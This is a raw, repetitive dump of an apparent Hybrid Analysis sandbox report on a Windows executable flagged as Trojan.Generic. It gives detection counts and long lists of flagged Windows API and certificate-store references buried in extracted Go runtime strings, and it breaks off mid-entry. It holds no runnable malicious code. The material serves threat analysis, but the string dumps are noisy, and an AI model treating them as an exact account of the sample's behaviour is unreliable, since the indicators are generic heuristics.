26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 41:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample e2677f987327… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e2677f987327…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 4 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6"],"about":{"@type":"SoftwareApplication","name":"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":9,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4f6,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin")28:T40b,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin")29:T5f4,Found reference to "forHKDF" (Indicator: "HKDF"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to "*hmac.HMAC" (Indicator: "HMAC"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") file/memory contains long string with (Indicator: "HMAC"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Sum" (Indicator: "HMAC"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Write" (Indicator: "HMAC"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).BlockSize" (Indicator: "HMAC"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Reset" (Indicator: "HMAC"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to "runtime.useAeshash" (Indicator: "Aes"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to "crypto/internal/fips140deps/cpu.ARM64HasSHA512" (Indicator: "SHA512"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found reference to "crypto/internal/fips140deps/cpu.S390XHasSHA512" (Indicator: "SHA512"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin")2a:T5e53,Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffershort buffer152587890625762939453125OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmunknown sizelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd6" (Indicator: "CertOpenStore"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "4 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=#failfipscast3814697265625GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeHMAC-SHA2-256file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "4 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=#failfipscast3814697265625GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeHMAC-SHA2-256file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "ntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupreflect.Value.Elemreflect.Value.Type298023223876953125GetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.Floatreflect.Value.IsNilafter array elementstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]msp" (Indicator: "CryptReleaseContext"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "ap/frees:objectsruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=simulated CAST failureunexpected method step4656612873077392578125RtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitsha3: Write after Readdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWunexpected map key typeindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCou" (Indicator: "CertGetCertificateChain"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "nt= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCallbytes.Buffer: too largereflect.Value.Interfacereflect.Value.NumMethod23283064365386962890625" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWjson: unsupported type: tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found ob" (Indicator: "CertFreeCertificateChain"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStarttesting simulated failure2910383045673370361328125GODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleencountered a cycle via %sall goroutines stack tr" (Indicator: "CertFreeCertificateContext"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "aceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory using unaddressable valueunknown ABI parameter kind1455191522836685180664062572759576141834259033203125RtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreafter object key:value pairPageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for reflect.Value.UnsafePointer is not assignable to type 363797880709171295166015625abi.NewName: tag too long: httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext!#$" (Indicator: "CertCreateCertificateContext"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "ting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal fals" (Indicator: "CertAddCertificateContextToStore"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "ting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal fals" (Indicator: "CertVerifyCertificateChainPolicy"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffershort buffer152587890625762939453125OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmunknown sizelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd" (Indicator: "CertOpenStore"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "ntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupreflect.Value.Elemreflect.Value.Type298023223876953125GetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.Floatreflect.Value.IsNilafter array elementstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]ms" (Indicator: "CryptReleaseContext"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "ap/frees:objectsruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=simulated CAST failureunexpected method step4656612873077392578125RtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitsha3: Write after Readdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWunexpected map key typeindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCo" (Indicator: "CertGetCertificateChain"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "nt= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCallbytes.Buffer: too largereflect.Value.Interfacereflect.Value.NumMethod23283064365386962890625" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWjson: unsupported type: tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found o" (Indicator: "CertFreeCertificateChain"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStarttesting simulated failure2910383045673370361328125GODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleencountered a cycle via %sall goroutines stack t" (Indicator: "CertFreeCertificateContext"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for reflect.Value.UnsafePointer is not assignable to type 363797880709171295166015625abi.NewName: tag too long: httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext!#" (Indicator: "CertCreateCertificateContext"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "ting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal fal" (Indicator: "CertAddCertificateContextToStore"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin") Found api reference "ting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal fal" (Indicator: "CertVerifyCertificateChainPolicy"; File: "e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin")2b:T139f,Observed string: "crypto/rand" (Indicator: "crypto/rand") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/impl" (Indicator: "crypto/internal/impl") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/fips140/aes" (Indicator: "crypto/internal/fips140/aes") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/fips140/drbg" (Indicator: "crypto/internal/fips140/drbg") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/fips140/sha3" (Indicator: "crypto/internal/fips140/sha3") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/fips140/hmac" (Indicator: "crypto/internal/fips140/hmac") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/fips140/sha256" (Indicator: "crypto/internal/fips140/sha256") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/fips140/sha512" (Indicator: "crypto/internal/fips140/sha512") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "on its own stackunsafe.Slice: ptr is nil and len is not zeroreflect: funcLayout with interface receiver using value obtained using unexported fieldencoding alphabet contains newline characterencoding alphabet includes duplicate symbolsmult128bitPow10: power of 10 is out of rangecrypto/sha256: invalid hash state identifier" (Indicator: "on its own stackunsafe.Slice: ptr is nil and len is not zeroreflect: funcLayout with interface receiver using value obtained using unexported fieldencoding alphabet contains newline characterencoding alphabet includes duplicate symbolsmult128bitPow10: power of 10 is out of rangecrypto/sha256: invalid hash state identifier") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/rand.fatal" (Indicator: "crypto/rand.fatal") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/sysrand.fatal" (Indicator: "crypto/internal/sysrand.fatal") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/fips140deps/cpu.init" (Indicator: "crypto/internal/fips140deps/cpu.init") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/impl.Register" (Indicator: 